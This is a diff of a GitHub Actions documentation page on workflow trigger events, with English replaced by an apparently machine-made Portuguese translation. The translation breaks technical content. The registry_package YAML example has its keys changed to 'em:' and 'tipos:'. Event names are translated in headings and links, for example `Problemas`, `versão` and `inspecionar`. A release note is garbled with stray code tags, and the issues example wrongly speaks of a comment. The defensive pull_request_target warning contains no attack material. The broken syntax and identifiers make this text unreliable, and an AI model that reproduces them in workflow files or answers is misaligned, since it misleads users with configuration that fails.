+O evento `issue_comment` ocorre para comentários em ambos os problemas e pull requests. Para determinar se o evento `issue_comment` foi acionado a partir de um problema ou pull request, você poderá verificar a carga do evento para a propriedade `issue.pull_request` e usá-la como condição para ignorar um trabalho.
 
-For example, you can choose to run the `pr_commented` job when comment events occur in a pull request, and the `issue_commented` job when comment events occur in an issue.
+Por exemplo, você pode optar por executar o trabalho `pr_commented` quando eventos de comentários ocorrem em um pull request e executar o trabalho `issue_commented` quando os eventos de comentários ocorrem em um problema.
 
 {% raw %}
 ```yaml
@@ -451,19 +451,19 @@ jobs:
 ```
 {% endraw %}
 
-### `issues`
+### `Problemas`
 
-Runs your workflow anytime the `issues` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Issues](/rest/reference/issues)."
+Executa o fluxo de trabalho sempre que o evento `issues` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[problemas](/rest/reference/issues)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`issues`](/webhooks/event-payloads/#issues) | - `opened`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `closed`<br/>- `reopened`<br/>- `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `milestoned`<br/> - `demilestoned` | Last commit on default branch | Default branch |
+| Carga de evento webhook                         | Tipos de atividade                                                                                                                                                                                                                                                                                                                                                     | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ----------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`Problemas`](/webhooks/event-payloads/#issues) | - `opened`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `closed`<br/>- `reopened`<br/>- `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `milestoned`<br/> - `demilestoned` | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue has been `opened`, `edited`, or `milestoned`.
+Por exemplo, você pode executar um fluxo de trabalho quando um comentário tiver sido `opened`, `edited` ou `milestoned`.
 
 ```yaml
 on:
@@ -471,19 +471,19 @@ on:
     types: [opened, edited, milestoned]
 ```
 
-### `label`
+### `etiqueta`
 
-Runs your workflow anytime the `label` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see  "[Labels](/rest/reference/issues#labels)."
+Executa o fluxo de trabalho sempre que o evento `label` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Etiquetas](/rest/reference/issues#labels)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`label`](/webhooks/event-payloads/#label) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Carga de evento webhook                       | Tipos de atividade                                                | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| --------------------------------------------- | ----------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`etiqueta`](/webhooks/event-payloads/#label) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a label has been `created` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando uma etiqueta tiver sido `created` ou `deleted`.
 
 ```yaml
 on:
@@ -491,19 +491,19 @@ on:
     types: [created, deleted]
 ```
 
-### `milestone`
+### `marco`
 
-Runs your workflow anytime the `milestone` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Milestones](/rest/reference/issues#milestones)."
+Executa o fluxo de trabalho sempre que o evento `milestone` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Marcos](/rest/reference/issues#milestones)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`milestone`](/webhooks/event-payloads/#milestone) | - `created`<br/>- `closed`<br/>- `opened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Carga de evento webhook                        | Tipos de atividade                                                                                          | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`marco`](/webhooks/event-payloads/#milestone) | - `created`<br/>- `closed`<br/>- `opened`<br/>- `edited`<br/>- `deleted`<br/> | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a milestone has been `opened` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando um marco tiver sido `aberto` ou `apagado`.
 
 ```yaml
 on:
@@ -513,15 +513,15 @@ on:
 
 ### `page_build`
 
-Runs your workflow anytime someone pushes to a {% data variables.product.product_name %} Pages-enabled branch, which triggers the `page_build` event. For information about the REST API, see "[Pages](/rest/reference/repos#pages)."
+Executa o fluxo de trabalho sempre que alguém faz push em um branch habilitado para o {% data variables.product.product_name %} Pages, o que aciona o evento `page_build`. Para obter informações sobre a API REST, consulte "[Páginas](/rest/reference/repos#pages)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`page_build`](/webhooks/event-payloads/#page_build) | n/a | Last commit on default branch | n/a |
+| Carga de evento webhook                              | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF` |
+| ---------------------------------------------------- | ------------------ | ------------------------------ | ------------ |
+| [`page_build`](/webhooks/event-payloads/#page_build) | n/a                | Último commit no branch padrão | n/a          |
 
-For example, you can run a workflow when the `page_build` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `page_build` ocorrer.
 
 ```yaml
 on:
@@ -530,17 +530,17 @@ on:
 
 ### `project`
 
-Runs your workflow anytime the `project` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Projects](/rest/reference/projects)."
+Executa o fluxo de trabalho sempre que o evento `project` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Projetos](/rest/reference/projects)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project`](/webhooks/event-payloads/#project) | - `created`<br/>- `updated`<br/>- `closed`<br/>- `reopened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| Carga de evento webhook                        | Tipos de atividade                                                                                                                  | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`project`](/webhooks/event-payloads/#project) | - `created`<br/>- `updated`<br/>- `closed`<br/>- `reopened`<br/>- `edited`<br/>- `deleted`<br/> | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project has been `created` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando um projeto tiver sido `created` ou `deleted`.
 
 ```yaml
 on:
@@ -550,17 +550,17 @@ on:
 
 ### `project_card`
 
-Runs your workflow anytime the `project_card` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Project cards](/rest/reference/projects#cards)."
+Executa o fluxo de trabalho sempre que o evento `project_card` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Cartões de projeto](/rest/reference/projects#cards)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project_card`](/webhooks/event-payloads/#project_card) | - `created`<br/>- `moved`<br/>- `converted` to an issue<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch |
+| Carga de evento webhook                                  | Tipos de atividade                                                                                             | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| -------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`project_card`](/webhooks/event-payloads/#project_card) | - `created`<br/>- `moved`<br/>- `converted` to an issue<br/>- `edited`<br/>- `deleted` | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project card has been `opened` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando um cartão de projeto tiver sido `opened` ou `deleted`.
 
 ```yaml
 on:
@@ -570,17 +570,17 @@ on:
 
 ### `project_column`
 
-Runs your workflow anytime the `project_column` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Project columns](/rest/reference/projects#columns)."
+Executa o fluxo de trabalho sempre que o evento `project_column` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Colunas do projeto](/rest/reference/projects#columns)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project_column`](/webhooks/event-payloads/#project_column) | - `created`<br/>- `updated`<br/>- `moved`<br/>- `deleted` | Last commit on default branch | Default branch |
+| Carga de evento webhook                                      | Tipos de atividade                                                          | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ------------------------------------------------------------ | --------------------------------------------------------------------------- | ------------------------------ | ------------- |
+| [`project_column`](/webhooks/event-payloads/#project_column) | - `created`<br/>- `updated`<br/>- `moved`<br/>- `deleted` | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project column has been `created` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando uma coluna de projeto tiver sido `created` ou `deleted`.
 
 ```yaml
 on:
@@ -588,17 +588,17 @@ on:
     types: [created, deleted]
 ```
 
-### `public`
+### `público`
 
-Runs your workflow anytime someone makes a private repository public, which triggers the `public` event. For information about the REST API, see "[Edit repositories](/rest/reference/repos#edit)."
+Executa o fluxo de trabalho sempre que alguém torna público um repositório privado, o que aciona o evento `public`. Para obter informações sobre a API REST, consulte "[Editar repositórios](/rest/reference/repos#edit)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`public`](/webhooks/event-payloads/#public) | n/a | Last commit on default branch |  Default branch |
+| Carga de evento webhook                       | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| --------------------------------------------- | ------------------ | ------------------------------ | ------------- |
+| [`público`](/webhooks/event-payloads/#public) | n/a                | Último commit no branch padrão | Branch padrão |
 
-For example, you can run a workflow when the `public` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `public` ocorrer.
 
 ```yaml
 on:
@@ -607,23 +607,23 @@ on:
 
 ### `pull_request`
 
-Runs your workflow anytime the `pull_request` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Pull requests](/rest/reference/pulls)."
+Executa o fluxo de trabalho sempre que o evento `pull_request` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Pull requests](/rest/reference/pulls)".
 
 {% note %}
 
-**Notes:**
-- By default, a workflow only runs when a `pull_request`'s activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows for more activity types, use the `types` keyword.
-- Workflows will not run on `pull_request` activity if the pull request has a merge conflict. The merge conflict must be resolved first.
+**Notas:**
+- Por padrão, um fluxo de trabalho só é executado quando um tipo de atividade de `pull_request` for `opened`, `sincronize`, ou `reopened`. Para acionar fluxos de trabalho para mais tipos de atividade, use a palavra-chave `types`.
+- Os fluxos de trabalho não serão executados na atividade `pull_request` se o pull request tiver um conflito de merge. O conflito de merge tem de ser resolvido primeiro.
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| Carga de evento webhook                                  | Tipos de atividade                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `GITHUB_SHA`                                  | `GITHUB_REF`                                      |
+| -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------- | ------------------------------------------------- |
+| [`pull_request`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | Último commit de merge no branch `GITHUB_REF` | Branch de merge da PR `refs/pull/:prNumber/merge` |
 
-You extend or limit the default activity types using the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)."
+É possível estender ou limitar os tipos de atividade padrão usando a palavra-chave `types`. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)".
 
-For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`.
+Por exemplo, você pode executar um fluxo de trabalho quando um pull request tiver sido `atribuído`, `aberto`, `sincronizado` ou `reaberto`.
 
 ```yaml
 on:
@@ -635,15 +635,15 @@ on:
 
 ### `pull_request_review`
 
-Runs your workflow anytime the `pull_request_review` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Pull request reviews](/rest/reference/pulls#reviews)."
+Executa o fluxo de trabalho sempre que o evento `pull_request_review` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Revisões de pull request](/rest/reference/pulls#reviews)".
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | - `submitted`<br/>- `edited`<br/>- `dismissed` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| Carga de evento webhook                                                | Tipos de atividade                                         | `GITHUB_SHA`                                  | `GITHUB_REF`                                      |
+| ---------------------------------------------------------------------- | ---------------------------------------------------------- | --------------------------------------------- | ------------------------------------------------- |
+| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | - `submitted`<br/>- `edited`<br/>- `dismissed` | Último commit de merge no branch `GITHUB_REF` | Branch de merge da PR `refs/pull/:prNumber/merge` |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a pull request review has been `edited` or `dismissed`.
+Por exemplo, você pode executar um fluxo de trabalho quando uma revisão de pull request tiver sido `edited` ou `dismissed`.
 
 ```yaml
 on:
@@ -655,15 +655,15 @@ on:
 
 ### `pull_request_review_comment`
 
-Runs your workflow anytime a comment on a pull request's unified diff is modified, which triggers the `pull_request_review_comment` event. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see [Review comments](/rest/reference/pulls#comments).
+Executa o fluxo de trabalho sempre que um comentário no diff unificado de uma pull request é modificado, o que aciona o evento `pull_request_review_comment`. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte [Comentários da revisão](/rest/reference/pulls#comments).
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | - `created`<br/>- `edited`<br/>- `deleted`| Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| Carga de evento webhook                                                                | Tipos de atividade                                     | `GITHUB_SHA`                                  | `GITHUB_REF`                                      |
+| -------------------------------------------------------------------------------------- | ------------------------------------------------------ | --------------------------------------------- | ------------------------------------------------- |
+| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | - `created`<br/>- `edited`<br/>- `deleted` | Último commit de merge no branch `GITHUB_REF` | Branch de merge da PR `refs/pull/:prNumber/merge` |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a pull request review comment has been `created` or `deleted`.
+Por exemplo, você pode executar um fluxo de trabalho quando um comentário de revisão de pull request tiver sido `created` ou `deleted`.
 
 ```yaml
 on:
@@ -675,21 +675,21 @@ on:
 
 ### `pull_request_target`
 
-This event runs in the context of the base of the pull request, rather than in the merge commit as the `pull_request` event does.  This prevents executing unsafe workflow code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow. This event allows you to do things like create workflows that label and comment on pull requests based on the contents of the event payload.
+Este evento é executado no contexto da base do pull request, em vez de no commit de merge como o evento `pull_request` faz.  Isso impede a execução de código de fluxo de trabalho inseguro do cabeçalho do pull request que poderia alterar seu repositório ou roubar quaisquer segredos que você usa no fluxo de trabalho. Este evento permite que você faça coisas como criar fluxos de trabalho que etiquetam e comentam em pull requests com base no conteúdo da carga do evento.
 
 {% warning %}
 
-**Warning:** The `pull_request_target` event is granted a read/write repository token and can access secrets, even when it is triggered from a fork. Although the workflow runs in the context of the base of the pull request, you should make sure that you do not check out, build, or run untrusted code from the pull request with this event. Additionally, any caches share the same scope as the base branch, and to help prevent cache poisoning, you should not save the cache if there is a possibility that the cache contents were altered. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the GitHub Security Lab website.
+**Aviso:** O evento `pull_request_target` recebe um token de repositório de leitura/gravação e pode acessar segredos, mesmo quando é acionado a partir de uma bifurcação. Embora o fluxo de trabalho seja executado no contexto da base do pull request, você deve certificar-se de que você não irá fazer checkout, construir ou executar o código não confiável do pull request com este evento. Além disso, qualquer cache compartilham o mesmo escopo do branch de base e ajuda a evitar envenenamento do cache. Você não deve salvar o cache se houver a possibilidade de que o conteúdo de cache ter sido alterado. Para obter mais informações, consulte "[Proteger seus GitHub Actions e fluxos de trabalho: Evitar solicitações pwn](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" no site do GitHub Security Lab.
 
 {% endwarning %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_target`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | Last commit on the PR base branch | PR base branch |
+| Carga de evento webhook                                         | Tipos de atividade                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `GITHUB_SHA`                          | `GITHUB_REF`                |
+| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------- | --------------------------- |
+| [`pull_request_target`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | Último commit no branch de base do PR | Branch-base do pull request |
 
-By default, a workflow only runs when a `pull_request_target`'s activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows for more activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)."
+Por padrão, um fluxo de trabalho só é executado quando o tipo de atividade de `pull_request_target`é `aberto,`, `sincronizado` ou `reaberto`. Para acionar fluxos de trabalho para mais tipos de atividade, use a palavra-chave `types`. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)".
 
-For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`.
+Por exemplo, você pode executar um fluxo de trabalho quando um pull request tiver sido `atribuído`, `aberto`, `sincronizado` ou `reaberto`.
 
 ```yaml
 on:
@@ -701,17 +701,17 @@ on:
 
 {% note %}
 
-**Note:** The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the REST API. For more information, see "[Get a commit](/rest/reference/commits#get-a-commit)".
+**Observação:** a carga de webhook disponível para o GitHub Actions não inclui os atributos `added`, `removed` e `modified` no objeto `commit`. É possível recuperar o objeto de commit completo usando a API REST. Para obter mais informações, consulte "[Obter um commit](/rest/reference/commits#get-a-commit)".
 
 {% endnote %}
 
-Runs your workflow when someone pushes to a repository branch, which triggers the `push` event.
+Executa o fluxo de trabalho quando alguém faz push em um branch de repositório, o que aciona o evento `push`.
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`push`](/webhooks/event-payloads/#push) | n/a | Commit pushed, unless deleting a branch (when it's the default branch) | Updated ref |
+| Carga de evento webhook                  | Tipos de atividade | `GITHUB_SHA`                                                              | `GITHUB_REF`   |
+| ---------------------------------------- | ------------------ | ------------------------------------------------------------------------- | -------------- |
+| [`push`](/webhooks/event-payloads/#push) | n/a                | Commit com push, exceto se excluindo um branch (quando é o branch padrão) | ref atualizado |
 
-For example, you can run a workflow when the `push` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `push` ocorrer.
 
 ```yaml
 on:
@@ -720,39 +720,39 @@ on:
 
 ### `registry_package`
 
-Runs your workflow anytime a package is `published` or `updated`. For more information, see "[Managing packages with {% data variables.product.prodname_registry %}](/github/managing-packages-with-github-packages)."
+Executa o seu fluxo de trabalho sempre que um pacote for `publicado` ou `atualizado`. Para obter mais informações, consulte "[Gerenciando pacotes com o {% data variables.product.prodname_registry %}](/github/managing-packages-with-github-packages)".
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`registry_package`](/webhooks/event-payloads/#package) | - `published`<br/>- `updated` | Commit of the published package | Branch or tag of the published package |
+| Carga de evento webhook                                 | Tipos de atividade                     | `GITHUB_SHA`               | `GITHUB_REF`                      |
+| ------------------------------------------------------- | -------------------------------------- | -------------------------- | --------------------------------- |
+| [`registry_package`](/webhooks/event-payloads/#package) | - `publicado`<br/>- `atualizado` | Commit do pacote publicado | Branch ou tag do pacote publicado |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a package has been `published`.
+Por exemplo, você pode executar um fluxo de trabalho quando um pacote tiver sido `publicado`.
 
 ```yaml
-on:
+em:
   registry_package:
-    types: [published]
+    tipos: [published]
 ```
 
-### `release`
+### `versão`
 
 {% note %}
 
-**Note:** The `release` event is not triggered for draft releases.
+**Observação:** O evento `versão` não é acionado para versões de rascunho.
 
 {% endnote %}
 
-Runs your workflow anytime the `release` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Releases](/rest/reference/repos#releases)."
+Executa o fluxo de trabalho sempre que o evento `release` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Versões](/rest/reference/repos#releases)".
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`release`](/webhooks/event-payloads/#release) | - `published` <br/>- `unpublished` <br/>- `created` <br/>- `edited` <br/>- `deleted` <br/>- `prereleased`<br/> - `released` | Last commit in the tagged release | Tag of release |
+| Carga de evento webhook                       | Tipos de atividade                                                                                                                                              | `GITHUB_SHA`                    | `GITHUB_REF`  |
+| --------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------- | ------------- |
+| [`versão`](/webhooks/event-payloads/#release) | - `published` <br/>- `unpublished` <br/>- `created` <br/>- `edited` <br/>- `deleted` <br/>- `prereleased`<br/> - `released` | Último commit na versão com tag | Tag da versão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a release has been `published`.
+Por exemplo, você pode executar um fluxo de trabalho quando uma versão tiver sido `published`.
 
 ```yaml
 on:
@@ -762,40 +762,40 @@ on:
 
 {% note %}
 
-**Note:** The `prereleased` type will not trigger for pre-releases published from draft releases, but the `published` type will trigger. If you want a workflow to run when stable *and* pre-releases publish, subscribe to `published` instead of `released` and `prereleased`.
+**Observação:** O tipo</code>prereleased`não será acionado para pré-versões publicadas a partir de versões de rascunho, mas o tipo <code>published` será acionado. Se você quiser que um fluxo de trabalho seja executado quando *e* forem publicadas pré-versões, assine `published` em vez de `released` e `prereleased`.
 
 {% endnote %}
 
 ### `status`
 
-Runs your workflow anytime the status of a Git commit changes, which triggers the `status` event. For information about the REST API, see [Statuses](/rest/reference/repos#statuses).
+Executa o fluxo de trabalho sempre que o status de um commit do Git muda, o que aciona o evento `status`. Para obter informações sobre a API REST, consulte [Status](/rest/reference/repos#statuses).
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`status`](/webhooks/event-payloads/#status) | n/a | Last commit on default branch | n/a |
+| Carga de evento webhook                      | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF` |
+| -------------------------------------------- | ------------------ | ------------------------------ | ------------ |
+| [`status`](/webhooks/event-payloads/#status) | n/a                | Último commit no branch padrão | n/a          |
 
-For example, you can run a workflow when the `status` event occurs.
+Por exemplo, você pode executar um fluxo de trabalho quando o evento `status` ocorrer.
 
 ```yaml
 on:
   status
 ```
 
-### `watch`
+### `inspecionar`
 
-Runs your workflow anytime the `watch` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Starring](/rest/reference/activity#starring)."
+Executa o fluxo de trabalho sempre que o evento `watch` ocorre. {% data reusables.developer-site.multiple_activity_types %} Para obter informações sobre a API REST, consulte "[Marcar com uma estrela](/rest/reference/activity#starring)".
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`watch`](/webhooks/event-payloads/#watch) | - `started` | Last commit on default branch | Default branch |
+| Carga de evento webhook                          | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF`  |
+| ------------------------------------------------ | ------------------ | ------------------------------ | ------------- |
+| [`inspecionar`](/webhooks/event-payloads/#watch) | - `started`        | Último commit no branch padrão | Branch padrão |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when someone stars a repository, which is the `started` activity type that triggers the watch event.
+Por exemplo, você pode executar um fluxo de trabalho quando alguém marca um repositório com estrela, que é o tipo de atividade `started` que aciona o evento de inspeção.
 
 ```yaml
 on:
@@ -809,23 +809,23 @@ on:
 
 {% note %}
 
-**Notes:** 
+**Notas:**
 
-* This event will only trigger a workflow run if the workflow file is on the default branch.
+* Este evento acionará apenas um fluxo de trabalho executado se o arquivo do fluxo de trabalho estiver no branch padrão.
 
-* You can't use `workflow_run` to chain together more than three levels of workflows. For example, if you attempt to trigger five workflows (named `B` to `F`) to run sequentially after an initial workflow `A` has run (that is: `A` → `B` → `C` → `D` → `E` → `F`), workflows `E` and `F` will not be run.
